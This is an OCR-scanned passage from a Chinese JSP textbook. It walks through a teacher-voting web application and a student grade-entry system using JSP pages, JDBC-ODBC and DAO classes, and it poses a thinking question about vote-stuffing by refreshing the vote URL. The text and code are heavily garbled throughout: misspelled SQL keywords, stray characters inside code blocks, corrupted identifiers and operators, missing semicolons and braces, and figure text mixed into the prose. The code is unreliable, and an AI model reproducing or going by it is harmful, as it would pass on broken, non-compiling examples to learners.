编号 姓名 ”得 票数 投票 

1 ” 郭 克 华 15 ”投票 

2 李 亚 12 投票 

3 刘璇 11 ”投票 

4 ”王刚 mm 13 投票 

5 刘 宁 9 投票 欢迎 给 教师 投票 

6 朱 芳 WE7 ”投票 编号 姓名 ”得 票数 投票 
7 陈 飞 45 投票 1 ” 郭 克 华 15 ”投票 
8 王 晓 12 ”投票 2 李 亚 13 ”投票 
9 周 云 14 投票 3 刘 玉 11 投票 
图 16-1 显示 效果 1 图 16-2 显示 效果 2 


由 此 可 见 , 其 票数 增加 了 1 票 。 


16.2 投票 系统 分 析 


在 这 个 项 目 中 只 需要 用 到 一 个 界面 一 一 投票 界面 ,需要 编写 的 JSP 文件 有 几 个 呢 ? 
-种 想法 认为 ,只 需要 编写 一 个 JSP, 在 里 面 显示 投票 界面 ,同样 是 这 个 JSP, 负 责 接 
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受用 户 的 投票 ,将 对 应 教师 的 得 票数 加 1。 这 种 方法 比较 直观 ,但 是 可 维护 性 较 差 ,两 个 
功能 的 所 有 代码 放 在 一 个 JSP 内 ,如 果 作 细微 的 修改 , 则 比较 麻烦 ,也 不 利于 开发 上 的 
NT. 

因此 建议 采用 如 下 方法 : 使 用 两 个 JSP, 一 个 JSP 负责 显示 投票 界面 , 另 一 个 JSP 负责 
接受 用 户 的 投票 ,将 对 应 教师 的 得 票数 加 1, 工 作 完毕 再 跳 转 回 第 1 个 JSP, 结构 如 
图 16-3 所 示 。 


欢迎 给 教师 投票 
编号 姓名 ”得 票数 投票 
1 ” 郭 克 华 15 ”投票 
2 李 亚 12 投票 人 
3 刘 玉 11 请 求 另 一 个 JSP 
4 王刚 18 投票 跳 转 接受 用 户 的 投票 
Bl 刘 守 和 到 引种 要 < 一 一 一 一 将 对 应 的 教师 票数 加 1 
6 朱 芳 7 投票 
7 陈 45 投票 
8 王 晓 12 投票 
8 “ 周 云 .14 ”投票 


图 16-3 结构 设计 
各 页 面 的 命名 和 作用 如 表 16-1 所 示 。 
表 16-1 各 模块 的 定义 
名 称 作 用 
连接 数据 库 
display. jsp 查询 教师 编号 .姓名 、 得 票数 
显示 教师 编号 、 姓 名 、 得 票数 “投票 ”链接 
连接 数据 库 
获取 “投票 ”链接 传 来 的 教师 编号 


将 教师 编号 对 应 的 得 票数 加 1 
跳 回 display. jsp 


vote. jsp 


16.3 开发 过 程 


16.3.1 准备 数据 


此 处 使 用 Access 数据 库 。 数 据 库 的 配置 方法 在 前 面 的 章节 已 有 叙述 ,请 读者 参考 第 6 
章 。 很 明显 ,在 本 项 目 中 只 需要 一 个 数据 表 , 包 含 教师 编号 .教师 姓名 和 得 票数 。 
创建 表 的 脚本 如 下 。 


CRERTE TRBLE T_VOTE( 
TEACHERNO varchar(20), 
TEACHERNAME varchar(20), 
VOTE INT 

) 
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插入 一 些 数据 ,每 个 教师 初始 状态 的 得 票数 为 0。 
16.3.2 如 何 出 现 进度 条 
在 本 项 目 中 票数 以 进度 条 形式 出 现 , 如 图 16-4 所 示 。 


那么 如 何 出 现 进 度 条 呢 ? PR 
实际 上 ,进度 条 就 是 一 个 普通 的 红色 图 片 ,只 不 过 显示 时 固定 15 

其 高 度 ,让 宽度 和 得 票数 成 正比 。 -一 
用 图 像 处 理工 具 ( 例 如 画图 板 ) 准 备 进度 条 文件 bar. jpg, 其 中 

含有 一 个 很 小 的 红色 正方 形 即 可 。 人 


16.3.3 编写 display. jsp 


打开 MyEclipse, 新 建 一 个 Web 项 目 一 一 Prj16, 将 bar. jpg 复制 到 WebRoot 下 的 img 
目录 (该 目录 可 以 事先 新 建 ) ,首先 编写 display. jsp ,代码 如 下 。 


display. jsp 
<% @ page language = "java" import = "java. sql. * " pageEncoding = "gb2312" %> 
< html > 
<body> 


<table align= "center"> 
< caption > 欢迎 给 教师 投票 </caption> 
<tr bgcolor = "yellow"> 
<td> 编 号 </td> 
<td> 姓 名 </td> 
<td> 得 票数 </td> 
<td> 投 票 </td> 
</tr> 
<% 
Class. forName( "sun. jdbc. odbc. JdbcOdbcDriver" ); 
Connection conn = DriverManager. getConnection( "jdbc:odbc:DSSchool"); 
Statement stat = conn. createStatement( ); 
String sql = 
"SELECT TEACHERNO, TEACHERNAME, VOTE FROM T_VOTE"; 
ResultSet rs = stat. executeQuery( sql); 
while(rs. next()){ 
String teacherno = rs. getString("TEACHERNO"); 
String teachername = rs. getString("TEACHERNAME" ); 
int vote = rs. getInt("VOTE"); 
%> 
<tr bgcolor = "pink"> 
<td><%= teacherno %></td> 
<td><%= teachername %></td> 
<td>< img src = "img/bar. jpg" width= "<%= vote%>" height = "10"> <%=vote%></ 
td> 
<td><a href = "vote. jsp?teacherno =<%= teacherno% >"> 投 票 </a></td> 
</tr> 
< 和 
} 


stat. close( ); 
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conn. close(); 
先 > 
</table> 
</body> 
</html > 


在 上 述 代码 中 ， 


< img src = "img/bar. jpg" width= "<$%= vote%>" height = "10"> 


显示 进度 条 ,高 度 固定 为 10 ,宽度 和 得 票数 成 正比 。 


<a href = "vote. jsp?teacherno =<% = teacherno% >"> 投 票 </a> 


使 用 URL 传 值 将 teacherno 的 值 以 参数 形式 传 给 vote. jsp。 
16.3.4 编写 vote. jsp 
这 里 编写 vote. jsp ,代码 如 下 。 


vote. jsp 


< 外 @ page language = "java" import = "java. sql. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
<% 
String teacherno = request. getParameter("teacherno" ); 
Class. forName("sun. jdbc. odbc. JdbcOdbcDriver" ); 
Connection conn = DriverManager. getConnection( "jdbc:odbc:DSSchool" ); 
String sql = 
"UPDATE T_VOTE SET VOTE = VOTE + 1 WHERE TEACHERNO = ?"; 
PreparedStatement ps = conn. prepareStatement(sql) 
ps. setString(1, teacherno); 
ps. executeUpdate( ); 
ps.close(); 
conn. close(); 
%> 
< jsp:forward page = "display. jsp"></jsp:forward> 
</body> 
</html > 


在 上 述 代码 中 ， 


String teacherno = request. getParameter( "teacherno"); 


获得 前 一 个 页 面 传 过 来 的 teacherno 参数 ,赋值 给 teacherno 变量 。 


< jsp:forward page = "display. jsp"></jsp:forward> 
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表示 工作 完成 之 后 跳 回 display. jsp ,此 处 用 到 了 JSP 的 forward 动作 。 
编写 完毕 ,这 个 项 目的 结构 如 图 16-5 所 示 。 
| 
甘 src 
》 BM JRE System Library DDK6] 
”三 Java EE 5 Libraries 
4 马 WebRoot 
simg 
国 barjpg 
b Er META-INF 
» BE WEB-INF 
团 displayjsp 
著 votejsp 


图 16-5 项 目 结构 


访问 display. jsp 就 可 以 得 到 相应 效果 。 
阶段 性 作业 
如 果 不 访问 display. jsp; 直接 访问 vote. jsp, 会 有 什么 效果 ?说 说 其 原因 。 


16.4 进一步 改进 


16.4.1 存在 的 问题 


本 章 前面 的 例子 中 有 一 个 较 大 的 问题 ,就 是 在 display. jsp 和 vote. jsp 中 存在 大 量 访问 
数据 库 的 重复 代码 。 例 如 display. jsp 和 vote. jsp 中 都 存在 下 列 代 码 。 


Class. forName("sun. jdbc. odbc. JdbcOdbcDriver" ); 
Connection conn = DriverManager. getConnection("jdbc:odbc:DSSchool" ) ; 


如 何 解决 这 个 问题 ? 
16.4.2 如 何 封装 数据 库 连接 


对 于 代码 重复 ,常见 的 解决 方法 是 将 重复 的 代码 写 人 函数 。 那 么 如 何 定义 函数 呢 ? 
大 家 知道 ,函数 可 以 在 JSP 声明 中 定义 ,因此 可 以 将 数据 库 连 接 代码 专门 放 在 一 个 声 
明 中 ,代码 如 下 。 


db. inc 


wm 


<% @ page language = "java" import = "java. sql. * " pageEncoding = "gb2312" %> 
<%! 
public Connection getConnection( ) throws Exception{ 
Class. forName( "sun. jdbc. odbc. JdbcOdbcDriver" ); 
Connection conn = DriverManager. getConnection( "jdbc:odbc:DSSchool" ); 
return conn; 
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特别 提醒 : 如 果 不 是 直接 访问 页 面 ,而 仅仅 是 定义 一 些 功 能 ,文件 的 扩展 名 在 理论 上 可 
以 任意 。 另 外 ,该 函数 一 定 要 定义 在 JSP 声明 中 。 


16.4.3 如何 重用 代码 


定义 了 函数 getConnection0, 就 可 以 在 display. jsp 和 vote. jsp 中 使 用 该 函数 了 。 当 然 ， 
在 此 之 前 要 导入 db. inc。 
经 过 处 理 的 display. jsp 代码 如 下 。 


display. jsp 


<% @ page language = "java" import = "java. sql. * " pageEncoding = "gb2312" %> 
<%@ include file= "db. inc" %> 
<html> 
<body> 
<table align= "center"> 
< caption > 欢迎 给 教师 投票 </caption> 
<tr bgcolor = "yellow"> 
<td> 编 号 </td> 
<td> 姓 名 </td> 
< td> 得 票数 </td> 
<td> 投 票 </td> 
</tr> 
< 多 
Connection conn = getConnection( ); 
Statement stat = conn. createStatement( ); 
String sql = 
"SELECT TEACHERNO, TEACHERNAME, VOTE FROM T_VOTE"; 
ResultSet rs = stat. executeQuery( sql); 
while(rs. next()){ 
String teacherno = rs. getString("TEACHERNO" ); 
String teachername = rs. getString("TEACHERNAME" ) ; 
int vote = rs.getInt("VOTE"); 
%> 
<tr bgcolor = "pink"> 
<td><%= teacherno %></td> 
<td><%= teachername %></td> 
<td>< img src= "img/bar. jpg" width="<%= vote%>" height = "10"> <%=vote%></td> 
<td><a href = "vote. jsp?teacherno =<%= teacherno% >"> 投 票 </a></td> 
</tr> 
< 多 
stat. close( ); 
conn. close(); 
%> 
</table> 
</body> 
</html > 
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在 上 述 代码 中 ， 
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<%@ include file= "db. inc" %> 


表示 导入 db. inc。 


Connection conn = getConnection(); 


表示 调用 导入 的 getConnection( 函 数 。 
访问 display. jsp 也 能 得 到 同样 的 效果 。 
阶段 性 作业 


(1) 导入 一 个 页 面 可 以 使 用 include 指令 和 include 动作 ,此 处 使 用 include 指令 


能 否 使 用 include 动作 来 导入 呢 ? 
(2) 将 vote. jsp 改 为 导入 db. inc 并 且 调 用 getConnection() 函 数 的 版 本 。 


16.5 思考 题 : 如 何 防 止 刷 票 


,那么 


思考 题 用 前 面 章节 的 知识 可 能 无 法 解决 ,建议 读者 仔细 思考 其 方案 ,并 在 网 上 搜索 相关 


刷 票 是 一 种 恶意 投票 行为 ,在 本 系统 中 也 存在 刷 票 的 隐患 。 
访问 display. jsp, 显 示 效 果 如 图 16-6 所 示 。 
给 编号 为 1 的 教师 投票 ,界面 变 为 如 图 16-7 所 示 。 


欢迎 给 教师 投票 欢迎 给 教师 投票 
编号 姓名 “得 票数 投票 编号 姓名 ”得 票数 报 村 
1 “部 克 华 46 ”投票 1 ”部 克 华 #7 ”投票 


图 16-6 显示 效果 图 16-7 投票 效果 


注意 : 此 时 浏览 器 地 址 栏 上 的 地 址 变 为 如 图 16-8 所 示 。 


国 htpy/localhost8030/pril6/votejsp?teacherno=1 v 


图 16-8 地 址 


在 保持 该 URL 的 情况 下 单 击 浏览 器 上 的 “刷新 ”按钮 ,如 图 16-9 所 示 。 
这 样 就 可 以 达到 刷 票 的 效果 。 例 如 刷新 10 次 ,界面 效果 如 图 16-10 所 示 。 


欢迎 给 教师 投票 
编号 姓名 ”得 票数 投票 
科 1 ”部 克 华 咖 17 投票 
图 16-9 “刷新 ?按钮 图 16-10 刷 票 效果 


如 果 使 用 JavaScript 进行 定时 自动 刷新 ,后 果 可 想 而 知 。 
如 何 解 决 这 个 问题 呢 ? 请 大 家 思考 。 


第 17 章 


和 成 绩 输 入 系统 


本 章 选 学 ,建议 学 时 : 2 

前 面 学 习 了 表单 的 基本 开发 .同名 表单 元 素 和 隐藏 表单 元 素 , 这 些 内 容 属 于 JSP 编程 
中 的 重要 内 容 。 本 章 将 利用 两 个 案例 对 这 些 内 容 进行 复习 。 

在 本 章 的 解决 方案 中 ,使 用 DAO 模式 对 DAO 的 编写 进行 复习 。 


17.1 案例 1: 基于 表单 的 投票 系统 


17.1.1 案例 需求 


本 章 将 对 前 一 个 实践 项 目 中 的 内 容 进行 改进 。 制 作 一 个 基于 表单 的 投票 系统 ,让 学 生 
给 自己 喜爱 的 多 个 老师 投票 。 该 系统 由 一 个 界面 组 成 ,运行 系统 ,出 现 投票 界面 ,如 图 17-1 
所 示 。 
在 这 个 界面 中 ,标题 为 “欢迎 给 教师 投票 ”; 在 界面 上 有 一 个 表格 ,显示 了 各 位 教师 的 编 
号 、 姓 名、 得 票数 ,其 中 得 票数 显示 为 一 个 红色 的 进度 条 ,并 显示 得 票 的 数值 ; 表格 的 第 4 列 
是 复 选 框 ,用 户 可 以 选择 多 个 ,选择 之 后 提交 投票 , 则 被 选择 教师 的 票数 加 1, 并 显示 在 界 
面 上 。 
例如 ,选择 编号 为 1、3 的 教师 对 应 的 复 选 框 并 提交 ,界面 效果 如 图 17-2 所 示 。 
欢迎 给 教师 投票 
[ 王 交 有 ] 
编号 姓名 ”得 票数 投票 
郭 克 华 画 17 品 
李 亚 14 
刘 玉 11 
王刚 mm 18 
刘 宁 9 
朱 芳 7 
陈 飞 815 
王 晓 12 
周 云 14 


编号 姓名 ”得 票数 投票 
1 ” 郭 克 华 包 18 
2 李 亚 14 

3 刘 玉 12 5 


Do 
加 回回 回回 加 加 名 


图 17-1 显示 效果 1 17-2 显示 效果 2 


由 此 可 见 , 其 票数 增加 了 1 票 。 
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17.1.2 系统 分 析 


和 前 面 的 项 目 一 样 ,这 里 只 需要 用 到 一 个 界面 一 一 投票 界面 ,但 是 建议 读者 编写 两 个 
JSP ,一 个 JSP 负责 显示 投票 界面 , 另 一 个 JSP 负责 接受 用 户 的 投票 ,将 对 应 教师 的 得 票数 
加 1, 工 作 完 毕 再 跳 转 回 第 1 个 JSP。 

不 过 ,此 项 目 具 有 其 特殊 性 ,用 户 可 以 一 次 性 选择 一 个 或 者 多 
个 教师 进行 投票 ,由 于 复 选 框 的 个 数 和 教师 数量 相同 ,事先 不 可 预 
知 , 所 以 可 以 将 这 些 复 选 框 定义 为 同名 表单 元 素 ,其 包含 的 值 为 对 
应 教师 的 教师 编号 。 例 如 编号 为 1 和 2 的 教师 ,显示 效果 如 ”图 17-3 显示 效果 
图 17-3 所 示 。 

这 两 行 数据 对 应 的 复 选 框 的 代码 如 下 。 


< input name = "teacherno" type = "checkbox" value = "1"> 


< input name = "teacherno" type = "checkbox" value = "2"> 


目标 页 面 获得 的 teacherno 也 应 该 是 含有 若干 个 教师 编号 的 数组 。 
各 页 面 或 类 的 命名 和 作用 如 表 17-1 所 示 。 
表 17-1 各 模块 的 定义 


名 称 作 用 
连接 数据 库 
VoteDao. java 查询 教师 编号 、 姓 名 ,得 票数 
修改 教师 的 得 票数 ,将 每 个 教师 编号 对 应 的 得 票数 加 1 
Vote. java 封装 教师 编号 、 姓 名 和 得 票数 
i 调用 VoteDao 查询 教师 编号 ,姓名 、 得 票数 
显示 教师 编号 姓名、 得 票数 ,投票 复 选 框 
获取 投票 链接 传 来 的 教师 编号 数组 
vote. jsp 调用 VoteDao 将 每 个 教师 编号 对 应 的 得 票数 加 1 
跳 转 回 display. jsp 


17.1.3 开发 过 程 


该 项 目 开发 的 主要 步骤 如 下 。 

(1) 创建 数据 库 及 表 ,初始 化 数据 库 。 

本 例 使 用 Access 数据 库 。 在 本 项 目 中 只 需要 一 个 数据 表 , 包 含 教师 编号 .教师 姓名 和 
得 票数 。 创 建 表 的 脚本 如 下 。 


CREATE TABLE T_VOTE( 
TEACHERNO varchar(20), 
TEACHERNAME varchar(20), 
VOTE INT 

) 
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插入 一 些 数据 ,每 个 教师 初始 状态 的 得 票数 为 0。 

票数 以 进度 条 形式 出 现 , 用 图 像 处 理工 具 ( 例 如 画图 板 ) 准 备 进度 条 文件 bar. jpg, 其 中 
含有 一 个 很 小 的 红色 正方 形 即 可 。 

(2) 创建 Web 项 目 并 编码 。 

打开 MyEclipse, 新 建 一 个 Web 项 目 一 一 Prj17_1, 将 bar. jpg 复制 到 WebRoot 下 的 
img 目录 (该 目录 可 以 事先 新 建 ) ,然后 编写 下 列 4 段 程序 。 

@ 编写 Vote. java, 代 码 如 下 。 


Vote. java 


package vo; 


public class Vote { 

private String teacherno; 

private String teachername; 

private int votenumber; 

public String getTeacherno() { 
return teacherno; 

. 

public void setTeacherno(String teacherno) { 
this, teacherno = teacherno; 

l 

public String getTeachername() { 
return teachername; 

. 

public void setTeachername(String teachername) { 
this. teachername = teachername; 

} 

public int getVotenumber() { 
return votenumber; 

} 

public void setVotenumber( int votenumber) { 
this. votenumber = votenumber; 


@ 编写 VoteDao. java, 代 码 如 下 。 


VoteDao. java 


package dao; 

import java. sql. Connection; 

import java. sql. DriverManager; 
import java. sql. PreparedStatement; 
import java. sql. ResultSet; 

import java. sql. Statement; 

import java. util. ArrayList; 

import vo. Vote; 

public class VoteDao { 


第 17 章 ”编程 实 训 2: 投票 系统 改进 版 和 成 绩 输入 系统 


2 


private Connection conn = null; 
public void initConnection() throws Exception { 
Class. forName("sun. jdbc. odbc. JdbcOdbcDriver" ); 
conn = DriverManager. getConnection("jdbc:odbc:DSSchool"，""，""); 
// 返 回 所 有 教师 及 其 得 票数 
public ArrayList getAllVotes() throws Exception { 
ArrayList al = new ArrayList(); 
initConnection( ); 
String sql = "SELECT TEACHERNO, TEACHERNAME, VOTE FROM T_VOTE"; 
Statement stat = conn. createStatement(); 
ResultSet rs = stat. executeQuery( sql); 
while(rs. next()){ 
Vote vote = new Vote( ); 
vote. setTeacherno(rs. getString("TERCHERNO" ) ) ; 
vote. setTeachername( rs. getString("TEACHERNAME" ) ) 
vote,. setVotenumber(rs. getInt("VOTE")); 
al.add(vote); 
} 
closeConnection( ); 
return al; 


// 修 改 某 些 教师 的 得 票数 
public void updateVotes(String[ ] teacherno) throws Exception { 
initConnection(); 
String sql = "UPDATE T_VOTE SET VOTE = VOTE + 1 WHERE TEACHERNO = ?"; 
PreparedStatement ps = conn. prepareStatement( sql); 
for(int i=0;i< teacherno. length; i++){ 
ps. setString(1, teacherno[ i]); 
ps. executeUpdate( ); 
} 
closeConnection( ); 
} 
public void closeConnection() throws Exception { 
conn. close(); 


@ 编写 display. jsp, 代 码 如 下 。 


display. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<% @page import = "dao. VoteDao" % > 
<% @page import = "vo. Vote" %> 
<html> 

<body> 

< form action = "vote. jsp" method = "post"> 

< table align = "center"> 

<caption > 欢迎 给 教师 投票 < input type = "submit"” value = "提交 投票 "> </caption> 
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<tr bgcolor = "yellow"> 
<td> 编 号 </td> 
<td> 姓 名 </td> 
<td> 得 票数 </td> 
<td> 投 票 </td> 
</tr> 
<% 
VoteDao vdao = new VoteDao( ); 
ArrayList votes = vdao. getAllVotes(); 
for(int i=0;i<votes. size();i+t+){ 
Vote vote= (Vote)votes. get (i); 
先 > 
< tr bgcolor = "pink"> 
<td><%= vote. getTeacherno() %></td> 
<td><%= vote.getTeachername() %></td> 
<td>< img src = "img/bar. jpg" width= "<%= vote. getVotenumber() %>" height = "10"> 
<%= vote. getVotenumber() %></td> 
< td>< input name = "teacherno" type = "checkbox" value = "<% = vote. getTeacherno ( ) % >">| 
</td> 
</tr> 
< 和 


第 > 
</table> 
</form> 

</body> 
</html > 


在 上 述 代码 中 ， 


< input name = "teacherno" type = "checkbox" value = "<%= vote. getTeacherno( ) %> 


将 复 选 框 命名 为 teacherno ,将 teacherno 的 值 放 入 复 选 框 , 传 给 vote. jsp。 
@ 编写 vote. jsp, 代 码 如 下 。 


vote. jsp 


<% @ page language = "java" import = "java. sql. * " pageEncoding = "gb2312"%> 
<% @page import = "dao. VoteDao" % > 
<html> 
<body> 
< 和 
String[ ] teacherno = request. getParameterValues("teacherno" ); 
VoteDao vdao = new VoteDao( ); 
vdao. updateVotes( teacherno); 
先 > 
< jsp:forward page = "display. jsp"></jsp:forward> 
</body> 
</html > 
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在 上 述 代码 中 ， 


String[ ] teacherno = request. getParameterValues("teacherno" ) ; 


获得 前 一 个 页 面 传 过 来 的 teacherno 参数 ,作为 数组 赋值 给 .区 


teacherno。 4 号 src 
编写 完毕 ,这 个 项 目的 结构 如 图 17-4 所 示 。 bos 
(3) 访问 display. jsp, 就 可 以 得 到 相应 效果 。 i 
S 阶段 性 作业 » mh JRE System Library UD 


b Bh Java EE 5 Libraries 


如 果 不 对 任何 复 选 框 进 行 勾 选 而 提交 投票 ,会 有 什么 现 4 BS WebRoot 


象 发 生 ? 说 说 其 原因 和 解决 方法 。 p Wh, me 
b META-INF 

17.1.4 存在 的 问题 = 
团 votejsp 


同样 ,本 系统 也 存在 刷 票 的 问题 。 
访问 display. jsp, 显 示 效 果 如 图 17-5 所 示 。 
给 编号 为 1 和 2 的 教师 投票 ,界面 变 为 如 图 17-6 所 示 。 


17-4 项 目 结构 


欢迎 给 教师 投票 欢迎 给 教师 投票 
编号 姓名 ”得 票数 投票 编号 姓名 ”得 票数 投票 
1 部 克 华 于 18 器 1 “| 郭 克 华 wm 19 口 ， 
EU EE =i 
图 17-5 显示 效果 图 17-6 投票 效果 


注意 : 此 时 浏览 器 地 址 栏 上 的 地 址 改变 ,如 图 17-7 所 示 。 
在 保持 该 URL 的 情况 下 单 击 浏览 器 上 的 “刷新 ”按钮 ,如 图 17-8 所 示 。 


国 htpi//localhost8080/Pij17_1/votejsp ~ 
图 17-7 地 址 图 17-8 “刷新 ”按钮 


此 时 将 出 现 如 图 17-9 所 示 的 对 话 框 。 


Windows Internet Explorer 


车 要 再 次 显示 该 网 页 , Web 浏览 名 需要 
重新 发 送 您 以 前 提交 的 信息 。 


如 果 您 正在 交易 ， 
应 单 击 “取消 ” 意 免 重复 交易 
否则 , 请 单 二 “ 重 斌 ”再 次 显示 该 网 页. | 


[wm | [ ws | 
| 


图 17-9 ”对话 框 
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单 击 “ 重 试 ?按钮 ,就 可 以 达到 刷 票 的 效果 。 当 然 , 如 果 使 用 JavaScript 进行 定时 自动 刷 
新 ,后 果 也 可 想 而 知 。 
如 何 解决 这 个 问题 呢 ? 请 大 家 思考 ,并 查阅 相关 资料 。 


17.2 案例 2: 成 绩 输入 系统 


17.2.1 案例 需求 


在 本 案例 中 对 某 门 课程 (本 例 中 编号 为 001 的 课程 ) 的 所 有 学 生成 绩 进 行 输入 。 运 行 页 
面 ,显示 效果 如 图 17-10 所 示 。 

页 面 上 显示 该 课程 所 有 学 生 的 考试 成 绩 。 对 于 已 经 存在 的 考试 成 绩 ,显示 为 普通 文本 ; 
对 于 没有 输入 的 考试 成 绩 , 则 用 文本 框 提供 输入 。 在 输入 后 可 以 对 成 绩 进 行 提交 。 

例如 ,在 界面 上 输入 学 号 为 0002 的 学 生 的 期 末 成 绩 为 85 , 单 击 “提交 ”按钮 ,界面 变 为 
如 图 17-11 所 示 。 


输入 课程 编号 为 001 的 所 有 学 生成 绩 输入 课程 编号 为 001 的 所 有 学 生成 绩 
提交 成 
学 号 姓名 ”考试 类 型 分 数 学 号 姓名 ”考试 类 型 分 数 
0001 李 明 期 中 90 oo01 李 明 其 中 90 1 
0002 郭 丽 而 期 中 。 92 0002 郭 丽 丽 期 中 。 92 
了 EL | 0002 郭 丽 丽 其 未 85 
图 17-10 显示 效果 1 图 17-11 显示 效果 2 


由 此 可 见 , 该 门 考试 成 绩 被 存 人 了 数据 库 中 。 
17.2.2 系统 分 析 


本 题 使 用 的 数据 库 是 本 书 中 的 教学 数据 库 , 其 包括 下 列 3 个 表 。 

(1) 保存 学 生 信息 的 表 T_STUDENT(STUNO,STUNAME,STUSEX)。 

(2) 保存 分 数 信息 的 表 T_SCORE(STUNO,TYPE,COURSENO,SCORE) 。 

(3) 保存 课程 信息 的 表 T_COURSE(COURSENO.COURSENAME)。 

对 于 已 经 选课 的 学 生 , 在 T_SCORE 表 中 预先 保存 了 他 们 的 选课 信息 ,因此 在 输入 分 数 
的 时 候 实 际 上 是 对 现 有 记录 进行 修改 。 

本 题 只 需要 用 到 一 个 界面 一 一 输入 分 数 界面 ,但 是 建议 读者 编写 两 个 JSP, 一 个 JSP 负 
责 显 示 输 入 分 数 界 面 , 另 一 个 JSP 负责 接受 用 户 输入 的 分 数 , 并 将 对 应 的 分 数 进行 保存 , 工 
作 完毕 再 跳 转 回 第 1 个 JSP。 

由 于 学 生 的 数量 事先 不 可 预知 ,所 以 可 以 将 这 些 分 数 文本 框 定义 为 同名 表单 元 素 。 

另外 ,对 于 每 个 学 生 的 分 数 输 入 ,还 应 该 用 隐藏 表单 保存 该 
要 宝 可 于 到 成 绩 对 应 的 学 生 的 学 号 .课程 编号 .考试 类 型 ,如 图 17-12 
图 17-12 显示 效果 所 示 。 
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从 表面 看 上 去 只 有 一 个 文本 框 , 实 际 上 代码 如 下 。 


< tr bgcolor = "pink"> 


<td> 0001 </td> 
<td> 李 明 </td> 
<td> 期 末 </td> 
<td> 
< input name = "Score" type = "text" size= "4"> 
< input name = "type" type= "hidden" value = "期 末 "> 
< input name = "stuno" type = "hidden" value = "0001"> 
</td> 
</tr> 


目标 页 面 应 该 获得 以 下 内 容 。 


(1) courseno: 保存 课程 编号 。 


(2) score: 


的 数组 。 
(3) type: 


个 类 型 的 数组 。 


(4) stuno: 


保存 分 数 , 由 于 score 可 能 会 输入 多 个 ,所 以 score 应 该 是 含有 若干 个 分 数 


保存 考试 类 型 ,由 于 可 能 会 输入 多 个 学 生 的 成 绩 ,所 以 type 应 该 是 含有 若干 


保存 分 数 对 应 的 学 生 学 号 ,由 于 可 能 会 输入 多 个 学 生 的 成 绩 , 所 以 stuno 应 


该 是 含有 若干 个 学 号 的 数组 。 
各 页 面 或 类 的 命名 和 作用 如 表 17-2 所 示 。 


名 称 


表 17-2 各 模块 的 定义 
作 用 


ScoreDao. java 


连接 数据 库 
查询 某 门 课程 的 所 有 学 生 的 学 号 、 姓 名 、 考 试 类 型 和 分 数 
根据 课程 号 和 传人 内 容 批量 修改 学 生 分 数 


Score. java 


学 生 的 学 号 ,姓名 ,考试 类 型 和 分 数 


scoreForm. jsp 


调用 ScoreDao 类 ,连接 数据 库 , 查 询 某 课程 的 所 有 学 生 的 学 号 姓名、 考试 类 型 和 分 数 
将 结果 以 表格 显示 


scoreUpdate. jsp 


获取 课程 编号 .学生 学 号 数组 ,考试 类 型 数组 ,学 生 分 数 数组 
调用 ScoreDao 类 ,连接 数据 库 ,根据 课程 号 和 传人 内 容 批量 修改 学 生 分 数 
跳 转 回 scoreForm. jsp 


17.2.3 开发 过 程 


本 项 目 开发 的 主要 步骤 如 下 。 

(1) 创建 数据 库 及 表 .并 初始 化 。 

本 例 使 用 Access 数据 库 。 读 者 可 以 对 数据 库 进行 预先 初始 化 。 

QO@ 在 T STUDENT 表 中 插入 一 些 学 生 信息 。 

Q@ 在 T_COURSE 表 中 插入 一 些 课程 信息 。 

@ 在 T_ SCORE 表 中 针对 某 些 学 生 和 某 些 课程 插入 一 些 信息 ,分数 为 空 ,等 待 输入 。 
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(2) 创建 Web 项 目 并 编码 。 
打开 MyEclipse, 新 建 一 个 Web 项目 一 一 Prj17_2。 
@ 编写 Score. java, 代 码 如 下 。 


Score. java 


package vo; 


public class Score { 

private String stuno; 

private String stuname; 

private String type; 

private String scorenumber; 

public String getStuno() { 
return stuno; 

p 

public void setStuno(String stuno) { 
this. stuno = stuno; 

} 

public String getStuname() { 
return stuname; 

} 

public void setStuname( String stuname) { 
this. stuname = stuname; 

} 

public String getType() { 
return type; 

} 

public void setType(String type) { 
this. type = type; 

h 

public String getScorenumber() { 
return scorenumber; 

. 

public void setScorenumber(String scorenumber) { 
this. scorenumber = scorenumber; 


@ 编写 ScoreDao. java, 代 码 如 下 。 


ScoreDao. java 


package dao; 


import java. sql. Connection; 

import java. sql. DriverManager; 
import java. sql. PreparedStatement; 
import java. sql. ResultSet; 

import java. sql. Statement; 

import java. util. ArrayList; 

import vo. Score; 
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public class ScoreDao { 
private Connection conn = null; 


public void initConnection() throws Exception { 

Class. forName( "sun. jdbc. odbc. JdbcOdbcDriver" ); 

conn = DriverManager. getConnection("jdbc:odbc:DSSchool"，""，""); 
3 


// 返 回 某 门 课程 所 有 学 生 的 分 数 
public ArrayList getAllScoresByCourseno( String courseno) throws Exception { 
ArrayList al = new ArrayList(); 
initConnection( ); 
String sql = "SELECT STU. STUNO, STU. STUNAME, SCO. TYPE, SCO. SCORE " + 
"FROM T_STUDENT STU, T_SCORE SCO™" + 
"WHERE STU. STUNO = SCO. STUNO " + 
"AND SCO. COURSENO = ?"; 
PreparedStatement ps = conn. prepareStatement (sql); 
ps. setString(1, courseno); 
ResultSet rs = ps. executeQuery( ); 
while(rs. next()){ 
Score score = new Score( ); 
Score. setStuno(rs. getString( "STUNO")); 
score. setStuname(rs. getString("STUNAME")); 
score. setType(rs. getString("TYPE")); 
score. setScorenumber(rs. getString("SCORE" )); 
al.add( score); 
} 
closeConnection(); 
return al; 
} 
// 修 改 某 些 学 生 的 分 数 
public void updateScores(String courseno, String[ ] type, String[ ] stuno, String[ ] score ) 
throws Exception { 
initConnection( ); 
String sql = "UPDATE T_SCORE SET SCORE = ? WHERE STUNO = ? AND TYPE = ? AND COURSENO = ?"; 
PreparedStatement ps = conn. prepareStatement(sql); 
for(int i= 0;i< stuno. length;i++){ 
if(!score[i].equals("")){ 
ps. setDouble(1, Double. parseDouble( score[ i])); 
ps. setString(2, stuno[ i]); 
ps. setString(3, type[i]); 
ps. setString(4, courseno); 
ps. executeUpdate( ); 


} 
ps. close(); 
closeConnection( ); 
} 
public void closeConnection() throws Exception { 
conn. close(); 
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值得 一 提 的 是 ,下 列 SQL 表示 了 两 表 之 间 的 连接 ,读者 可 以 自行 研究 。 


String sql = "SELECT STU. STUNO, STU. STUNAME, SCO. TYPE, SCO. SCORE " + 
"FROM T_STUDENT STU, T_SCORE SCO™" + 
"WHERE STU. STUNO = SCO. STUNO " + 
"AND SCO. COURSENO = ?"; 


